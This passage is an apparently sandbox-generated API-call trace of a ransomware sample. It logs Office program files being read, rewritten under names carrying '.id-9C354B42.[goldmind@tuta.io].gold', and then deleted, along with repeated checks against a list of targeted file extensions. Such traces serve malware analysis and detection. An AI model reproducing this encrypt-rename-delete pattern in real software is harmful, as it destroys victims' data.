dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.911] GetLastError () returned 0x0 [0102.911] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0102.911] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0102.912] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.912] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0102.912] SetEndOfFile (hFile=0x3bc) returned 1 [0102.912] CloseHandle (hObject=0x3bc) returned 1 [0102.912] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.912] SetEndOfFile (hFile=0x398) returned 1 [0102.914] CloseHandle (hObject=0x398) returned 1 [0102.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".doc") returned 4 [0102.915] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.915] lstrlenW (lpString=".docx") returned 5 [0102.915] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.915] lstrlenW (lpString=".pdf") returned 4 [0102.915] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString=".xls") returned 4 [0102.915] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString=".xlsx") returned 5 [0102.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.915] lstrlenW (lpString=".ppt") returned 4 [0102.915] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".zip") returned 4 [0102.915] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString=".rar") returned 4 [0102.915] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString=".bz2") returned 4 [0102.915] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.915] lstrlenW (lpString=".7z") returned 3 [0102.915] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".dbf") returned 4 [0102.915] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".1cd") returned 4 [0102.915] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".jpg") returned 4 [0102.915] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.915] lstrlenW (lpString=".doc") returned 4 [0102.915] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.916] lstrlenW (lpString=".docx") returned 5 [0102.916] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.916] lstrlenW (lpString=".pdf") returned 4 [0102.916] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.916] lstrlenW (lpString=".xls") returned 4 [0102.916] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.916] lstrlenW (lpString=".xlsx") returned 5 [0102.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.916] lstrlenW (lpString=".ppt") returned 4 [0102.916] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.916] lstrlenW (lpString=".zip") returned 4 [0102.916] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.916] lstrlenW (lpString=".rar") returned 4 [0102.916] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.916] lstrlenW (lpString=".bz2") returned 4 [0102.916] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.916] lstrlenW (lpString=".7z") returned 3 [0102.916] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.916] lstrlenW (lpString=".dbf") returned 4 [0102.916] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.916] lstrlenW (lpString=".1cd") returned 4 [0102.916] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0102.916] lstrlenW (lpString=".jpg") returned 4 [0102.916] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.916] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.916] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0102.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.917] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0102.917] CloseHandle (hObject=0x398) returned 1 [0102.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 0x20 [0102.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.917] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.917] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.918] GetLastError () returned 0x0 [0102.918] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0102.918] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0102.919] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.919] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0102.919] SetEndOfFile (hFile=0x3bc) returned 1 [0102.919] CloseHandle (hObject=0x3bc) returned 1 [0102.919] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.919] SetEndOfFile (hFile=0x398) returned 1 [0102.921] CloseHandle (hObject=0x398) returned 1 [0102.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".doc") returned 4 [0102.922] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.922] lstrlenW (lpString=".docx") returned 5 [0102.922] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.922] lstrlenW (lpString=".pdf") returned 4 [0102.922] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString=".xls") returned 4 [0102.922] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString=".xlsx") returned 5 [0102.922] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.922] lstrlenW (lpString=".ppt") returned 4 [0102.922] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".zip") returned 4 [0102.922] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString=".rar") returned 4 [0102.922] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString=".bz2") returned 4 [0102.922] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.922] lstrlenW (lpString=".7z") returned 3 [0102.922] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".dbf") returned 4 [0102.922] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".1cd") returned 4 [0102.922] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".jpg") returned 4 [0102.922] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.922] lstrlenW (lpString=".doc") returned 4 [0102.923] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.923] lstrlenW (lpString=".docx") returned 5 [0102.923] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.923] lstrlenW (lpString=".pdf") returned 4 [0102.923] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.923] lstrlenW (lpString=".xls") returned 4 [0102.923] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.923] lstrlenW (lpString=".xlsx") returned 5 [0102.923] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.923] lstrlenW (lpString=".ppt") returned 4 [0102.923] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.923] lstrlenW (lpString=".zip") returned 4 [0102.923] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.923] lstrlenW (lpString=".rar") returned 4 [0102.923] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.923] lstrlenW (lpString=".bz2") returned 4 [0102.923] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.923] lstrlenW (lpString=".7z") returned 3 [0102.923] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.923] lstrlenW (lpString=".dbf") returned 4 [0102.923] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.923] lstrlenW (lpString=".1cd") returned 4 [0102.923] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0102.923] lstrlenW (lpString=".jpg") returned 4 [0102.923] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.923] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0102.923] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0102.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.933] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1899) returned 1 [0102.933] CloseHandle (hObject=0x198) returned 1 [0102.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 0x20 [0102.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.949] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.949] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.949] GetLastError () returned 0x0 [0102.949] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x76b, lpOverlapped=0x0) returned 1 [0102.950] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x770, lpOverlapped=0x0) returned 1 [0102.951] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.951] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.951] SetEndOfFile (hFile=0x198) returned 1 [0102.951] CloseHandle (hObject=0x198) returned 1 [0102.951] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.951] SetEndOfFile (hFile=0x3bc) returned 1 [0102.955] CloseHandle (hObject=0x3bc) returned 1 [0102.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".doc") returned 4 [0102.956] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString=".docx") returned 5 [0102.956] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0102.956] lstrlenW (lpString=".pdf") returned 4 [0102.956] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString=".xls") returned 4 [0102.956] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.956] lstrlenW (lpString=".xlsx") returned 5 [0102.956] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0102.956] lstrlenW (lpString=".ppt") returned 4 [0102.956] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".zip") returned 4 [0102.956] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.956] lstrlenW (lpString=".rar") returned 4 [0102.956] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString=".bz2") returned 4 [0102.956] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString=".7z") returned 3 [0102.956] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".dbf") returned 4 [0102.956] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".1cd") returned 4 [0102.956] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".jpg") returned 4 [0102.956] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.956] lstrlenW (lpString=".doc") returned 4 [0102.957] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString=".docx") returned 5 [0102.957] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0102.957] lstrlenW (lpString=".pdf") returned 4 [0102.957] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString=".xls") returned 4 [0102.957] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.957] lstrlenW (lpString=".xlsx") returned 5 [0102.957] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0102.957] lstrlenW (lpString=".ppt") returned 4 [0102.957] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.957] lstrlenW (lpString=".zip") returned 4 [0102.957] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.957] lstrlenW (lpString=".rar") returned 4 [0102.957] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString=".bz2") returned 4 [0102.957] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString=".7z") returned 3 [0102.957] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.957] lstrlenW (lpString=".dbf") returned 4 [0102.957] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.957] lstrlenW (lpString=".1cd") returned 4 [0102.957] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0102.957] lstrlenW (lpString=".jpg") returned 4 [0102.957] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.957] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0102.957] lstrlenW (lpString="LGND.VSL") returned 8 [0102.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.958] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=39296) returned 1 [0102.958] CloseHandle (hObject=0x3bc) returned 1 [0102.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 0x20 [0102.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.959] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.959] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.959] GetLastError () returned 0x0 [0102.959] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x9980, lpOverlapped=0x0) returned 1 [0102.961] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x9990, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9990, lpOverlapped=0x0) returned 1 [0102.962] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.962] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | 